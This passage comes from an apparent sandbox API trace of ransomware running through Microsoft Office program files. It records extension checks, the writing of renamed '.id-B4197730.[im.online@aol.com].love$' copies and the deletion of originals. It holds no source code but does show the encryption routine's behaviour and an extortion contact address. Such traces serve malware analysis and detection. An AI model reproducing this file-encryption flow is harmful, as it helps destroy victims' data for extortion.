(lpFileName="C:\\Program Files\\Microsoft Office\\root\\Flattener\\Microsoft.Tools.BinaryStore.dll" (normalized: "c:\\program files\\microsoft office\\root\\flattener\\microsoft.tools.binarystore.dll")) returned 0x220 [0251.145] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Flattener\\Microsoft.Tools.BinaryStore.dll.id-B4197730.[im.online@aol.com].love$" (normalized: "c:\\program files\\microsoft office\\root\\flattener\\microsoft.tools.binarystore.dll.id-b4197730.[im.online@aol.com].love$")) returned 0xffffffff [0251.146] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Flattener\\Microsoft.Tools.BinaryStore.dll" (normalized: "c:\\program files\\microsoft office\\root\\flattener\\microsoft.tools.binarystore.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0251.146] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Flattener\\Microsoft.Tools.BinaryStore.dll") returned 80 [0251.146] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Flattener\\Microsoft.Tools.BinaryStore.dll") returned 80 [0251.146] lstrlenW (lpString=".doc") returned 4 [0251.146] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0251.146] lstrlenW (lpString=".docx") returned 5 [0251.146] lstrcmpiW (lpString1=".docx", lpString2="e.dll") returned -1 [0251.146] lstrlenW (lpString=".pdf") returned 4 [0251.146] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0251.146] lstrlenW (lpString=".xls") returned 4 [0251.146] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0251.146] lstrlenW (lpString=".xlsx") returned 5 [0251.146] lstrcmpiW (lpString1=".xlsx", lpString2="e.dll") returned -1 [0251.146] lstrlenW (lpString=".ppt") returned 4 [0251.146] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0251.146] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Flattener\\Microsoft.Tools.BinaryStore.dll") returned 80 [0251.146] lstrlenW (lpString=".zip") returned 4 [0251.146] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0251.146] lstrlenW (lpString=".rar") returned 4 [0251.146] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0251.146] lstrlenW (lpString=".bz2") returned 4 [0251.147] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0251.147] lstrlenW (lpString=".7z") returned 3 [0251.147] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0251.147] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Flattener\\Microsoft.Tools.BinaryStore.dll") returned 80 [0251.147] lstrlenW (lpString=".dbf") returned 4 [0251.147] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0251.147] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Flattener\\Microsoft.Tools.BinaryStore.dll") returned 80 [0251.147] lstrlenW (lpString=".1cd") returned 4 [0251.147] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0251.147] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Flattener\\Microsoft.Tools.BinaryStore.dll") returned 80 [0251.147] lstrlenW (lpString=".jpg") returned 4 [0251.147] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0251.147] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Flattener\\Microsoft.Tools.BinaryStore.dll") returned 80 [0251.147] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Flattener\\Microsoft.Tools.BinaryStore.dll") returned 80 [0251.147] lstrlenW (lpString=".doc") returned 4 [0251.147] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0251.147] lstrlenW (lpString=".docx") returned 5 [0251.147] lstrcmpiW (lpString1=".docx", lpString2="e.dll") returned -1 [0251.147] lstrlenW (lpString=".pdf") returned 4 [0251.147] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0251.147] lstrlenW (lpString=".xls") returned 4 [0251.147] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0251.147] lstrlenW (lpString=".xlsx") returned 5 [0251.147] lstrcmpiW (lpString1=".xlsx", lpString2="e.dll") returned -1 [0251.147] lstrlenW (lpString=".ppt") returned 4 [0251.147] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0251.147] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Flattener\\Microsoft.Tools.BinaryStore.dll") returned 80 [0251.148] lstrlenW (lpString=".zip") returned 4 [0251.148] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0251.148] lstrlenW (lpString=".rar") returned 4 [0251.148] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0251.148] lstrlenW (lpString=".bz2") returned 4 [0251.148] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0251.148] lstrlenW (lpString=".7z") returned 3 [0251.148] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0251.148] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Flattener\\Microsoft.Tools.BinaryStore.dll") returned 80 [0251.148] lstrlenW (lpString=".dbf") returned 4 [0251.148] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0251.148] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Flattener\\Microsoft.Tools.BinaryStore.dll") returned 80 [0251.148] lstrlenW (lpString=".1cd") returned 4 [0251.148] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0251.148] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Flattener\\Microsoft.Tools.BinaryStore.dll") returned 80 [0251.148] lstrlenW (lpString=".jpg") returned 4 [0251.148] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0251.148] lstrcmpiW (lpString1=".dll", lpString2=".love$") returned -1 [0251.148] lstrlenW (lpString="Microsoft.Tools.Office.C2R.Common.dll") returned 37 [0251.148] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Flattener\\Microsoft.Tools.Office.C2R.Common.dll" (normalized: "c:\\program files\\microsoft office\\root\\flattener\\microsoft.tools.office.c2r.common.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x548 [0251.150] GetFileSizeEx (in: hFile=0x548, lpFileSize=0x36eff14 | out: lpFileSize=0x36eff14*=31328) returned 1 [0251.150] CloseHandle (hObject=0x548) returned 1 [0251.150] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Flattener\\Microsoft.Tools.Office.C2R.Common.dll" (normalized: "c:\\program files\\microsoft office\\root\\flattener\\microsoft.tools.office.c2r.common.dll")) returned 0x220 [0251.150] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Flattener\\Microsoft.Tools.Office.C2R.Common.dll.id-B4197730.[im.online@aol.com].love$" (normalized: "c:\\program files\\microsoft office\\root\\flattener\\microsoft.tools.office.c2r.common.dll.id-b4197730.[im.online@aol.com].love$")) returned 0xffffffff [0251.151] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Flattener\\Microsoft.Tools.Office.C2R.Common.dll" (normalized: "c:\\program files\\microsoft office\\root\\flattener\\microsoft.tools.office.c2r.common.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0251.151] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Flattener\\Microsoft.Tools.Office.C2R.Common.dll") returned 86 [0251.151] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Flattener\\Microsoft.Tools.Office.C2R.Common.dll") returned 86 [0251.151] lstrlenW (lpString=".doc") returned 4 [0251.151] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0251.151] lstrlenW (lpString=".docx") returned 5 [0251.151] lstrcmpiW (lpString1=".docx", lpString2="n.dll") returned -1 [0251.151] lstrlenW (lpString=".pdf") returned 4 [0251.151] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0251.151] lstrlenW (lpString=".xls") returned 4 [0251.151] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0251.151] lstrlenW (lpString=".xlsx") returned 5 [0251.151] lstrcmpiW (lpString1=".xlsx", lpString2="n.dll") returned -1 [0251.151] lstrlenW (lpString=".ppt") returned 4 [0251.151] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0251.151] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Flattener\\Microsoft.Tools.Office.C2R.Common.dll") returned 86 [0251.151] lstrlenW (lpString=".zip") returned 4 [0251.151] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0251.151] lstrlenW (lpString=".rar") returned 4 [0251.152] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0251.152] lstrlenW (lpString=".bz2") returned 4 [0251.152] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0251.152] lstrlenW (lpString=".7z") returned 3 [0251.152] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0251.152] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Flattener\\Microsoft.Tools.Office.C2R.Common.dll") returned 86 [0251.152] lstrlenW (lpString=".dbf") returned 4 [0251.152] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0251.152] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Flattener\\Microsoft.Tools.Office.C2R.Common.dll") returned 86 [0251.152] lstrlenW (lpString=".1cd") returned 4 [0251.152] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0251.152] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Flattener\\Microsoft.Tools.Office.C2R.Common.dll") returned 86 [0251.152] lstrlenW (lpString=".jpg") returned 4 [0251.152] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0251.152] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Flattener\\Microsoft.Tools.Office.C2R.Common.dll") returned 86 [0251.152] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Flattener\\Microsoft.Tools.Office.C2R.Common.dll") returned 86 [0251.152] lstrlenW (lpString=".doc") returned 4 [0251.152] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0251.152] lstrlenW (lpString=".docx") returned 5 [0251.152] lstrcmpiW (lpString1=".docx", lpString2="n.dll") returned -1 [0251.152] lstrlenW (lpString=".pdf") returned 4 [0251.152] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0251.152] lstrlenW (lpString=".xls") returned 4 [0251.152] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0251.152] lstrlenW (lpString=".xlsx") returned 5 [0251.152] lstrcmpiW (lpString1=".xlsx", lpString2="n.dll") returned -1 [0251.153] lstrlenW (lpString=".ppt") returned 4 [0251.153] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0251.153] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Flattener\\Microsoft.Tools.Office.C2R.Common.dll") returned 86 [0251.153] lstrlenW (lpString=".zip") returned 4 [0251.153] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0251.153] lstrlenW (lpString=".rar") returned 4 [0251.153] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0251.153] lstrlenW (lpString=".bz2") returned 4 [0251.153] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0251.153] lstrlenW (lpString=".7z") returned 3 [0251.153] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0251.153] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Flattener\\Microsoft.Tools.Office.C2R.Common.dll") returned 86 [0251.153] lstrlenW (lpString=".dbf") returned 4 [0251.153] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0251.153] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Flattener\\Microsoft.Tools.Office.C2R.Common.dll") returned 86 [0251.153] lstrlenW (lpString=".1cd") returned 4 [0251.153] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0251.153] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Flattener\\Microsoft.Tools.Office.C2R.Common.dll") returned 86 [0251.153] lstrlenW (lpString=".jpg") returned 4 [0251.153] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0251.153] lstrcmpiW (lpString1=".dll", lpString2=".love$") returned -1 [0251.153] lstrlenW (lpString="Microsoft.Tools.Office.C2R.Packager.dll") returned 39 [0251.154] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Flattener\\Microsoft.Tools.Office.C2R.Packager.dll" (normalized: "c:\\program files\\microsoft office\\root\\flattener\\microsoft.tools.office.c2r.packager.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x548 [0251.154] GetFileSizeEx (in: hFile=0x548, lpFileSize=0x36eff14 | out: lpFileSize=0x36eff14*=132800) returned 1 [0251.155] CloseHandle (hObject=0x548) returned 1 [0251.155] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Flattener\\Microsoft.Tools.Office.C2R.Packager.dll" (normalized: "c:\\program files\\microsoft office\\root\\flattener\\microsoft.tools.office.c2r.packager.dll")) returned 0x220 [0251.155] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Flattener\\Microsoft.Tools.Office.C2R.Packager.dll.id-B4197730.[im.online@aol.com].love$" (normalized: "c:\\program files\\microsoft office\\root\\flattener\\microsoft.tools.office.c2r.packager.dll.id-b4197730.[im.online@aol.com].love$")) returned 0xffffffff [0251.155] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Flattener\\Microsoft.Tools.Office.C2R.Packager.dll" (normalized: "c:\\program files\\microsoft office\\root\\flattener\\microsoft.tools.office.c2r.packager.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0251.155] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Flattener\\Microsoft.Tools.Office.C2R.Packager.dll") returned 88 [0251.155] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Flattener\\Microsoft.Tools.Office.C2R.Packager.dll") returned 88 [0251.155] lstrlenW (lpString=".doc") returned 4 [0251.155] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0251.155] lstrlenW (lpString=".docx") returned 5 [0251.155] lstrcmpiW (lpString1=".docx", lpString2="r.dll") returned -1 [0251.156] lstrlenW (lpString=".pdf") returned 4 [0251.156] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0251.156] lstrlenW (lpString=".xls") returned 4 [0251.156] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0251.156] lstrlenW (lpString=".xlsx") returned 5 [0251.156] lstrcmpiW (lpString1=".xlsx", lpString2="r.dll") returned -1 [0251.156] lstrlenW (lpString=".ppt") returned 4 [0251.156] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0251.156] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Flattener\\Microsoft.Tools.Office.C2R.Packager.dll") returned 88 [0251.156] lstrlenW (lpString=".zip") returned 4 [0251.156] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0251.156] lstrlenW (lpString=".rar") returned 4 [0251.156] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0251.156] lstrlenW (lpString=".bz2") returned 4 [0251.156] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0251.156] lstrlenW (lpString=".7z") returned 3 [0251.156] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0251.156] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Flattener\\Microsoft.Tools.Office.C2R.Packager.dll") returned 88 [0251.156] lstrlenW (lpString=".dbf") returned 4 [0251.156] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0251.157] lstrcmpiW (lpString1=".dll", lpString2=".love$") returned -1 [0251.157] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Flattener\\msvcp120.dll" (normalized: "c:\\program files\\microsoft office\\root\\flattener\\msvcp120.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x548 [0251.157] GetFileSizeEx (in: hFile=0x548, lpFileSize=0x36eff14 | out: lpFileSize=0x36eff14*=455344) returned 1 [0251.158] CloseHandle (hObject=0x548) returned 1 [0251.158] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Flattener\\msvcp120.dll" (normalized: "c:\\program files\\microsoft office\\root\\flattener\\msvcp120.dll")) returned 0x220 [0251.158] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Flattener\\msvcp120.dll.id-B4197730.[im.online@aol.com].love$" (normalized: "c:\\program files\\microsoft office\\root\\flattener\\msvcp120.dll.id-b4197730.[im.online@aol.com].love$")) returned 0xffffffff [0251.158] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Flattener\\msvcp120.dll" (normalized: "c:\\program files\\microsoft office\\root\\flattener\\msvcp120.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0251.158] lstrcmpiW (lpString1=".dll", lpString2=".love$") returned -1 [0251.159] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Flattener\\msvcp140.dll" (normalized: "c:\\program files\\microsoft office\\root\\flattener\\msvcp140.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x548 [0251.160] GetFileSizeEx (in: hFile=0x548, lpFileSize=0x36eff14 | out: lpFileSize=0x36eff14*=439608) returned 1 [0251.160] CloseHandle (hObject=0x548) returned 1 [0251.160] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Flattener\\msvcp140.dll" (normalized: "c:\\program files\\microsoft office\\root\\flattener\\msvcp140.dll")) returned 0x220 [0251.161] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Flattener\\msvcp140.dll.id-B4197730.[im.online@aol.com].love$" (normalized: "c:\\program files\\microsoft office\\root\\flattener\\msvcp140.dll.id-b4197730.[im.online@aol.com].love$")) returned 0xffffffff [0251.161] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Flattener\\msvcp140.dll" (normalized: "c:\\program files\\microsoft office\\root\\flattener\\msvcp140.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0251.161] lstrcmpiW (lpString1=".dll", lpString2=".love$") returned -1 [0251.161] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Flattener\\msvcr120.dll" (normalized: "c:\\program files\\microsoft office\\root\\flattener\\msvcr120.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x45c [0251.407] GetFileSizeEx (in: hFile=0x45c, lpFileSize=0x36eff14 | out: lpFileSize=0x36eff14*=968880) returned 1 [0251.407] CloseHandle (hObject=0x45c) returned 1 [0251.407] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Flattener\\msvcr120.dll" (normalized: "c:\\program files\\microsoft office\\root\\flattener\\msvcr120.dll")) returned 0x220 [0251.407] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Flattener\\msvcr120.dll.id-B4197730.[im.online@aol.com].love$" (normalized: "c:\\program files\\microsoft office\\root\\flattener\\msvcr120.dll.id-b4197730.[im.online@aol.com].love$")) returned 0xffffffff [0251.407] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Flattener\\msvcr120.dll" (normalized: "c:\\program files\\microsoft office\\root\\flattener\\msvcr120.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0251.408] lstrcmpiW (lpString1=".msu", lpString2=".love$") returned 1 [0251.408] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Integration\\Windows6.1-KB2999226-x86.msu" (normalized: "c:\\program files\\microsoft office\\root\\integration\\windows6.1-kb2999226-x86.msu"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x53c [0251.871] GetFileSizeEx (in: hFile=0x53c, lpFileSize=0x36eff14 | out: lpFileSize=0x36eff14*=621986) returned 1 [0251.871] CloseHandle (hObject=0x53c) returned 1 [0251.872] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Integration\\Windows6.1-KB2999226-x86.msu" (normalized: "c:\\program files\\microsoft office\\root\\integration\\windows6.1-kb2999226-x86.msu")) returned 0x220 [0251.873] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Integration\\Windows6.1-KB2999226-x86.msu.id-B4197730.[im.online@aol.com].love$" (normalized: "c:\\program files\\microsoft office\\root\\integration\\windows6.1-kb2999226-x86.msu.id-b4197730.[im.online@aol.com].love$")) returned 0xffffffff [0252.118] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Integration\\Windows6.1-KB2999226-x86.msu" (normalized: "c:\\program files\\microsoft office\\root\\integration\\windows6.1-kb2999226-x86.msu"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x554 [0252.118] SetFilePointerEx (in: hFile=0x554, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x36efec0 | out: lpNewFilePointer=0x0) returned 1 [0252.118] SetFilePointerEx (in: hFile=0x554, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x36efec0 | out: lpNewFilePointer=0x0) returned 1 [0252.118] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Integration\\Windows6.1-KB2999226-x86.msu.id-B4197730.[im.online@aol.com].love$" (normalized: "c:\\program files\\microsoft office\\root\\integration\\windows6.1-kb2999226-x86.msu.id-b4197730.[im.online@aol.com].love$"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x544 [0252.638] GetLastError () returned 0x0 [0252.639] ReadFile (in: hFile=0x554, lpBuffer=0x3ec7020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x36efecc, lpOverlapped=0x0 | out: lpBuffer=0x3ec7020*, lpNumberOfBytesRead=0x36efecc*=0x97da2, lpOverlapped=0x0) returned 1 [0252.671] WriteFile (in: hFile=0x544, lpBuffer=0x3ec7020*, nNumberOfBytesToWrite=0x97db0, lpNumberOfBytesWritten=0x36efc94, lpOverlapped=0x0 | out: lpBuffer=0x3ec7020*, lpNumberOfBytesWritten=0x36efc94*=0x97db0, lpOverlapped=0x0) returned 1 [0252.684] ReadFile (in: hFile=0x554, lpBuffer=0x3ec7020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x36efecc, lpOverlapped=0x0 | out: lpBuffer=0x3ec7020*, lpNumberOfBytesRead=0x36efecc*=0x0, lpOverlapped=0x0) returned 1 [0252.685] WriteFile (in: hFile=0x544, lpBuffer=0x3ec7020*, nNumberOfBytesToWrite=0x10c, lpNumberOfBytesWritten=0x36efc94, lpOverlapped=0x0 | out: lpBuffer=0x3ec7020*, lpNumberOfBytesWritten=0x36efc94*=0x10c, lpOverlapped=0x0) returned 1 [0252.685] SetEndOfFile (hFile=0x544) returned 1 [0252.685] CloseHandle (hObject=0x544) returned 1 [0252.685] SetFilePointerEx (in: hFile=0x554, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x36efec0 | out: lpNewFilePointer=0x0) returned 1 [0252.685] SetEndOfFile (hFile=0x554) returned 1 [0253.076] CloseHandle (hObject=0x554) returned 1 [0253.076] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Integration\\Windows6.1-KB2999226-x86.msu.id-B4197730.[im.online@aol.com].love$", dwFileAttributes=0x220) returned 1 [0253.213] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Integration\\Windows6.1-KB2999226-x86.msu" (normalized: "c:\\program files\\microsoft office\\root\\integration\\windows6.1-kb2999226-x86.msu")) returned 1 [0253.312] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Integration\\Windows6.1-KB2999226-x86.msu") returned 79 [0253.312] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Integration\\Windows6.1-KB2999226-x86.msu") returned 79 [0253.312] lstrlenW (lpString=".doc") returned 4 [0253.312] lstrcmpiW (lpString1=".doc", lpString2=".msu") returned -1 [0253.313] lstrlenW (lpString=".docx") returned 5 [0253.313] lstrcmpiW (lpString1=".docx", lpString2="6.msu") returned -1 [0253.313] lstrlenW (lpString=".pdf") returned 4 [0253.313] lstrcmpiW (lpString1=".pdf", lpString2=".msu") returned 1 [0253.313] lstrlenW (lpString=".xls") returned 4 [0253.313] lstrcmpiW (lpString1=".xls", lpString2=".msu") returned 1 [0253.313] lstrlenW (lpString=".xlsx") returned 5 [0253.313] lstrcmpiW (lpString1=".xlsx", lpString2="6.msu") returned -1 [0253.313] lstrlenW (lpString=".ppt") returned 4 [0253.313] lstrcmpiW (lpString1=".ppt", lpString2=".msu") returned 1 [0253.313] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Integration\\Windows6.1-KB2999226-x86.msu") returned 79 [0253.313] lstrlenW (lpString=".zip") returned 4 [0253.313] lstrcmpiW (lpString1=".zip", lpString2=".msu") returned 1 [0253.313] lstrlenW (lpString=".rar") returned 4 [0253.313] lstrcmpiW (lpString1=".rar", lpString2=".msu") returned 1 [0253.313] lstrlenW (lpString=".bz2") returned 4 [0253.313] lstrcmpiW (lpString1=".bz2", lpString2=".msu") returned -1 [0253.313] lstrlenW (lpString=".7z") returned 3 [0253.313] lstrcmpiW (lpString1=".7z", lpString2="msu") returned -1 [0253.313] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Integration\\Windows6.1-KB2999226-x86.msu") returned 79 [0253.313] lstrlenW (lpString=".dbf") returned 4 [0253.313] lstrcmpiW (lpString1=".dbf", lpString2=".msu") returned -1 [0253.313] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Integration\\Windows6.1-KB2999226-x86.msu") returned 79 [0253.313] lstrlenW (lpString=".1cd") returned 4 [0253.313] lstrcmpiW (lpString1=".1cd", lpString2=".msu") returned -1 [0253.313] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Integration\\Windows6.1-KB2999226-x86.msu") returned 79 [0253.313] lstrlenW (lpString=".jpg") returned 4 [0253.314] lstrcmpiW (lpString1=".jpg", lpString2=".msu") returned -1 [0253.314] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Integration\\Windows6.1-KB2999226-x86.msu") returned 79 [0253.314] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Integration\\Windows6.1-KB2999226-x86.msu") returned 79 [0253.314] lstrlenW (lpString=".doc") returned 4 [0253.314] lstrcmpiW (lpString1=".doc", lpString2=".msu") returned -1 [0253.314] lstrlenW (lpString=".docx") returned 5 [0253.314] lstrcmpiW (lpString1=".docx", lpString2="6.msu") returned -1 [0253.314] lstrlenW (lpString=".pdf") returned 4 [0253.314] lstrcmpiW (lpString1=".pdf", lpString2=".msu") returned 1 [0253.314] lstrlenW (lpString=".xls") returned 4 [0253.314] lstrcmpiW (lpString1=".xls", lpString2=".msu") returned 1 [0253.314] lstrlenW (lpString=".xlsx") returned 5 [0253.314] lstrcmpiW (lpString1=".xlsx", lpString2="6.msu") returned -1 [0253.314] lstrlenW (lpString=".ppt") returned 4 [0253.314] lstrcmpiW (lpString1=".ppt", lpString2=".msu") returned 1 [0253.314] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Integration\\Windows6.1-KB2999226-x86.msu") returned 79 [0253.314] lstrlenW (lpString=".zip") returned 4 [0253.314] lstrcmpiW (lpString1=".zip", lpString2=".msu") returned 1 [0253.314] lstrlenW (lpString=".rar") returned 4 [0253.314] lstrcmpiW (lpString1=".rar", lpString2=".msu") returned 1 [0253.314] lstrlenW 